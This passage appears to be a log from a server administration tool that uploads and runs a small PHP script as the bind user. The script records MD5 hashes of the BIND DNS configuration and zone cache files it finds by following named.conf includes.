MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-05 09:17:51: Establishing a connection
2026-05-05 09:17:51: 

PUT: /tmp/pkp276002

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-05 09:17:52: 

runuser -l bind -s /bin/bash -c '/tmp/pkp276002; rm /tmp/pkp276002'

2026-05-05 09:17:52: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
